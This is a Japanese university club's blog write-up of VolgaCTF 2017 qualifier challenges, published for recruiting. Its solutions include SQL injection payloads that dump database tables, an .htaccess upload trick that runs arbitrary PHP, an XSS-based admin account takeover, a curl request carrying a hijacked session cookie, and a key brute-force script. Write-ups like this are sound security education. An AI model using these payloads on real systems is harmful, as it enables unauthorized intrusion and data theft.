2017年4月14日 | ブログ記事

VolgaCTF 2017 Quals に出た話【新歓ブログリレー2017 11日目】

kaz

こんにちは。チームNaruseJunの中の人です。

今日は、CTFに出た話をしたいと思います。
新歓ブログリレー中なので新入生向けに書いておくと、CTFは基本的にチーム戦で、オンラインで行われることが多いです。
予選(Quals)でいい成績を残すと、オンサイト(実際に集まって競技)に招待されます。

そもそもCTFってなんだよって人は、新歓Webを見てください。
https://trapti.tech/welcome/

traPにはNaruseJunとかいうCTFチームがあって、中の人は全部で10数人いるんですが、毎回4〜5人で大会に出てます。
最近はサイバーコロッセオというイベントに顔を出しました。
https://trap.jp/post/167/

VolgaCTF 2017 Quals

この前、?に出ました。
結果は12位(1115チーム中)で、日本国内から出場したチームではトップでした。

https://ctftime.org/event/374
https://aspyatkin.com/volgactf-2017-quals-key-metrics/

めでたく本戦(Finals)に招待して頂きました。ということで夏にロシア行ってきます。
https://volgactf.ru/

Writeup

VC (crypto 50pt) [phi]

2枚の画像があるので差の絶対値を取るとフラグが見える

KeyPass (reverse 100pt) [ponya, kaz]

入力文字列からセキュア(らしい)なキーを生成するプログラムと、
そこから生成されたキーで暗号化されたファイルが渡される。

ですが、キー生成プログラムに不備があるので有限個(256個)しかキーが生成されません。
ということで全部試せば終わる。


<?php
function getraw(){
$ar = [];
for($i = 0; $i < 0xFF; $i++){
$ar[] = mt_rand(0x01, 0xFF);
}
return implode("", array_map(function($e){
return "\\$e";
}, $ar));
}

while(1){
$raw = getraw();
$key = trim(`./keypass "$(printf "$raw")"`);

$r = 0;
system("openssl enc -aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass pass:'$key'", $r);
if($r == 0){
echo("OK!! $r $key \n");
break;
}else{
echo("Fail $r $key \n");
}
}
?>

Telemap (web/exploits 200pt) [kaz]

TelegramのBotに攻撃する。
IPアドレスを投げるとnmapをかけてくれるんですが、ここでOSコマンドインジェクションができる。

API制限でBOTが死んだためフラグが無料で配られました。

Angry Guessing Game (reverse 200pt) [kaz, kriw]

数当てゲーム。途中で「試用版なのでライセンスキー入れてね!」みたいなこと言われて、これがたぶんFLAGです。

問題名からして、angrを使うのかな〜っと思ったんですが、radare2で探したら簡単に見つかりました。

.------------------------------------------------.
|  0x67da ;[ga]                                  |
|      ; JMP XREF from 0x000067d5 (fcn.000067d0) |
| mov rax, qword [rdi]                           |
|    ; [0x56:1]=0                                |
|    ; 'V'                                       |
| cmp byte [rax], 0x56                           |
| sete cl                                        |
|    ; [0x6f:1]=0                                |
|    ; 'o'                                       |
| cmp byte [rax + 1], 0x6f                       |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x6c:1]=0                                |
|    ; 'l'                                       |
| cmp byte [rax + 2], 0x6c                       |
| sete sil                                       |
|    ; [0x67:1]=0                                |
|    ; 'g'                                       |
| cmp byte [rax + 3], 0x67                       |
| sete cl                                        |
| and cl, sil                                    |
| and cl, dl                                     |
|    ; [0x61:1]=2                                |
|    ; 'a'                                       |
| cmp byte [rax + 4], 0x61                       |
| sete sil                                       |
|    ; [0x43:1]=0                                |
|    ; 'C'                                       |
| cmp byte [rax + 5], 0x43                       |
| sete dil                                       |
| and dil, sil                                   |
|    ; [0x54:1]=0                                |
|    ; 'T'                                       |
| cmp byte [rax + 6], 0x54                       |
| sete dl                                        |
| and dl, dil                                    |
| and dl, cl                                     |
|    ; [0x46:1]=0                                |
|    ; 'F'                                       |
| cmp byte [rax + 7], 0x46                       |
| sete sil                                       |
|    ; [0x7b:1]=0                                |
|    ; '{'                                       |
| cmp byte [rax + 8], 0x7b                       |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 9], 0x65                       |
| sete sil                                       |
| and sil, cl                                    |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0xa], 0x62                     |
| sete dil                                       |
| and dil, sil                                   |
| and dil, dl                                    |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0xb], 0x36                     |
| sete sil                                       |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0xc], 0x37                     |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0xd], 0x35                     |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0xe], 0x65                     |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0xf], 0x62                     |
| sete r8b                                       |
| and r8b, dl                                    |
| and r8b, dil                                   |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x10], 0x37                    |
| sete sil                                       |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x11], 0x39                    |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0x12], 0x65                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0x13], 0x62                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x14], 0x30                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x15], 0x39                    |
| sete dil                                       |
| and dil, cl                                    |
| and dil, r8b                                   |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0x16], 0x35                    |
| sete sil                                       |
|    ; [0x61:1]=2                                |
|    ; 'a'                                       |
| cmp byte [rax + 0x17], 0x61                    |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x18], 0x30                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x19], 0x39                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0x1a], 0x35                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x63:1]=0                                |
|    ; 'c'                                       |
| cmp byte [rax + 0x1b], 0x63                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x31:1]=0                                |
|    ; '1'                                       |
| cmp byte [rax + 0x1c], 0x31                    |
| sete r8b                                       |
| and r8b, cl                                    |
| and r8b, dil                                   |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0x1d], 0x65                    |
| sete sil                                       |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0x1e], 0x36                    |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x34:1]=64                               |
|    ; '4'                                       |
| cmp byte [rax + 0x1f], 0x34                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x20], 0x37                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x21], 0x30                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x22], 0x39                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x34:1]=64                               |
|    ; '4'                                       |
| cmp byte [rax + 0x23], 0x34                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x24], 0x30                    |
| sete cl                                        |
| and cl, dl                                     |
| and cl, r8b                                    |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x25], 0x37                    |
| sete sil                                       |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0x26], 0x62                    |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x63:1]=0                                |
|    ; 'c'                                       |
| cmp byte [rax + 0x27], 0x63                    |
| sete sil                                       |
| and sil, dl                                    |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0x28], 0x36                    |
| sete dl                                        |
| and dl, sil                                    |
| and dl, cl                                     |
|    ; [0x7d:1]=0                                |
|    ; '}'                                       |
| cmp byte [rax + 0x29], 0x7d                    |
| sete al                                        |
| test al, dl                                    |
| setne al                                       |
| ret                                            |
`------------------------------------------------'

Corp News (web 300pt) [kaz]

企業のニュースを配信するサイト?
登録できる。

登録後にフィードバックを送信するところがあるので、XSSができる。
ただし、セッションクッキーがhttpOnlyなので盗むことができない。

が、パスワード変更APIがあるので、それを叩かせて管理者アカウントを奪うことができる。
管理者アカウントでログインすると、Secret Headerという文字列が取得できる。

ここで、ニュース取得API /news

Please, set debug header true, becouse the app in developing state:)

とか言ってたのを思い出します。
このAPIはJSONを受け取っているのですが、ここにアプリが送っているJSONをちょっといじって
{"resultFormat": "aaa"}
を送ってみると、

result_format (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).

ということで、バックエンドにRethinkDBがいることがわかります。
https://www.rethinkdb.com/api/javascript/http/ を参考にして、裏でHTTPリクエストを飛ばすときに Debug: true を送らせるとニュースが見れるようになります。

さらに、先ほど入手したSecret headerも一緒に送るとFLAGが落ちてきます。
(このSecret headerを送らせるの、ヒントがないしどうやって気がつくんでしょうか……)

curl -X POST -H "Cookie: PHPSESSID=s%3A9Wst52yXI2kUbIPa4YE1gLTSPIpGDiwV.hc8bfOnyjidLjDsdcY7kTNsFlj0margtFr%2BGmAgupxI" http://corp-news2.quals.2017.volgactf.ru/news -d '{"header":["debug: true", "secret: asdJHF7dsJF65$FKFJjfjd773ehd
5fjsdf7"]}'

Bloody Feedback (web 100pt) [kaz]

お問い合わせフォームみたいなもの。
Emailの入力欄にSQLiがありました。

ERROR: DBD::Pg::db do failed: ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES...

DBから引っ張ってきたデータを表示する部分があるので、カンタンです。

', (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 1 OFFSET 1))--
', (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 's3cret_tabl3'))--
', (SELECT s3cr3tc0lumn FROM s3cret_tabl3 WHERE s3cr3tc0lumn LIKE 'VolgaCTF{%}' LIMIT 1))--

Sneaky Tags (web 300pt) [kaz]

タグを発行できて、このタグをTwitterに投稿すると、その投稿が追跡できるみたいなサービス。

このタグに好きな名前をつけられるのですが、この名前はTwitterから投稿を取得してDBを更新する際にエスケープされずに使用されています。
いわゆるセカンドオーダーSQLインジェクションです。

' UNION SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' #
' UNION SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME IN("tag","tweet","user") #
' UNION SELECT 1,2,3,GROUP_CONCAT(tag) FROM tag WHERE account_id <= 10 #

↑みたいな名前のタグを作成して、DB更新を起こさせると、account_idが小さいadminアカウントが作成したタグ名にFLAGがあります。

Share Point (web 200pt) [kaz]

ファイルアップロードと共有ができるサービス。
.phpのファイルはアップできない、が.htaccessがアップできるので、

AddType application/x-httpd-php .txt

とかすると.txtで任意のPHPがコードが実行できる。
あとはfind / -name flagとかして見つけたファイルを読みに行けば終わり。

PyCrypto (crypto/reverse 150pt) [nari]

入力とkey(120bit)をxorするだけなので真心込めて手動decryptします。

Curved (crypto 200pt) [nari]

楕円曲線でコマンド文字列に署名を与えて、その署名が無いとコマンドが実行できないようなサーバが相手。
楕円曲線とは関係なく、与えられたsignature2つをよく見るとrの値が一致しているので、そこから等式を導出すると、任意のコマンド文字列の署名を生成することができます。
よって"cat flag"の署名を作って送るとフラグが見えます。

Casino (crypto 250pt) [nari]

Nの値がサーバ接続時にランダムに決まるので、N=24を引くと仮定します。
するとあり得るpolyの数も少ないので全探索します。
20回データを取ることができるので、next_bitは120bit分取れますが、mod 42のせいで不確定になるけど50%ぐらいなので、あり得るstateも全探索します。
なので、これぐらいのことを処理するC++コードを書いて、後はN=24を引くまで「接続→Proof of Work→全探索」を繰り返します。N=24を引いた場合全探索で条件を満たしたpolyとstateが見つかるので、それを使って100勝します。
理論的には時間をかければこれで解けます。
以下は120回のnext_bitの結果を受け取って、可能なstate,polyペアを探すC++プログラムです。


#include <stdio.h>
#include <string>
#include <iostream>
#include <vector>
#include <algorithm>

#include <omp.h>

using namespace std;

typedef vector<int> vi;

typedef int _loop_int;
#define REP(i,n) for(_loop_int i=0;i<(_loop_int)(n);++i)
#define FOR(i,a,b) for(_loop_int i=(_loop_int)(a);i<(_loop_int)(b);++i)
#define FORR(i,a,b) for(_loop_int i=(_loop_int)(b)-1;i>=(_loop_int)(a);--i)

/*
def gen_poly(deg):
poly = [0 for _ in range(deg + 1)]
while True:
n = random.randrange(deg // 8, deg // 2)
n |= 1
powers = random.sample(range(1, deg), n)
powers.append(deg)
if reduce(gcd, tuple(powers)) == 1:
break
for i in range(n):
poly[powers[i]] = 1
poly[0] = poly[deg] = 1
# poly.pop_front()
return poly
*/

vi poly_all(int n){
vi ret;
FOR(num,n/8,n/2){
if((num&1)==0)continue;
// num from 1 ~ n-1
vi P(n-1,0);
REP(i,num)P[n-2-i]=1;
do{
int gcd = n;
REP(i,n-1)if(P[i]){
gcd = __gcd(gcd,i+1);
}
if(gcd==1){
// ok
int poly = 0;
poly |= 1;
REP(i,n-1)poly |= P[i]<<(n-1-i);
ret.push_back(poly);
}
}while(next_permutation(P.begin(),P.end()));
}
return ret;
}

vi state_all(int n,string s){
vi ret[2];
ret[0].push_back(0);
REP(i,n){
char c = s[i];
if(c=='0' || c=='?'){
REP(j,ret[0].size()){
int x = ret[0][j];
int y = x;
ret[1].push_back(y);
}
}
if(c=='1' || c=='?'){
REP(j,ret[0].size()){
int x = ret[0][j];
int y = x | (1<<i);
ret[1].push_back(y);
}
}
ret[0].swap(ret[1]);
ret[1].clear();
}
return ret[0];
}

int find_valid_state(int n,int poly, vi inits, string s){
vi dp[2];
dp[0] = inits;
REP(i,s.size()){
char c = s[i];
if(c=='?'){
REP(j,dp[0].size()){
int st = dp[0][j];
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}else if(c=='0'){
REP(j,dp[0].size()){
int st = dp[0][j];
if(st%2==0){
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}
}else{
REP(j,dp[0].size()){
int st = dp[0][j];
if(st%2==1){
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}
}
if(dp[1].size()==0)return -1;
dp[0].swap(dp[1]);
dp[1].clear();
}
return dp[0][0];
}

int main(){
string s;
cin>>s;

omp_lock_t llock;
omp_init_lock(&llock);
int ans_n = -1;
int ans_poly = -1;
int ans_state = -1;
FOR(n,24,25){
vi polys = poly_all(n);
// s[i] = 0 : next_bit() in i times is 0
// s[i] = 1 : next_bit() in i times is 1
// s[i] = ? : next_bit() in i times is undetermined
vi inits = state_all(n,s);
// test all poly
omp_set_num_threads(4);
#pragma omp parallel for
REP(j,16){
REP(i,polys.size()/16){
if(i*16+j >= polys.size())break;
int poly = polys[i*16+j];
int state = find_valid_state(n, poly, inits, s);
if(state != -1){
omp_set_lock(&llock);
ans_n = n;
ans_poly = poly;
ans_state = state;
omp_unset_lock(&llock);
break;
}
omp_set_lock(&llock);
if(ans_n != -1){
omp_unset_lock(&llock);
break;
}else{
omp_unset_lock(&llock);
}
}
}
}
if(ans_n==-1){
puts("NG...");
}else{
printf("%d\n%d\n%d\n",ans_n,ans_poly,ans_state);
}
return 0;
}

Oracle (crypto 250pt) [nari]

UPDでcipherが出てるのでそれとサーバオラクルを使ってpadding oracle attackします。
あとはIV(またはtimestamp)が分かれば完全にpadding oracle attackできるのですが、IV=0としてpadding oracle attackを続行すると複号に成功します。

おわり

いっしょにCTFしてくれる新入生大募集中です。
4/19(水)には「競プロ/CTF体験会」があるので来てね!
https://trapti.tech/welcome/

明日はpoppon_seadragonとuynetの記事です。お楽しみに。

この記事を書いた人
kaz

シスアド班の人です。サーバー/部内システム/インフラを管理しています。 好きな言語はPerl/JavaScript/Go、エディタはSublimeText3です。

この記事をシェア

このエントリーをはてなブックマークに追加

活動の紹介

カテゴリ

タグ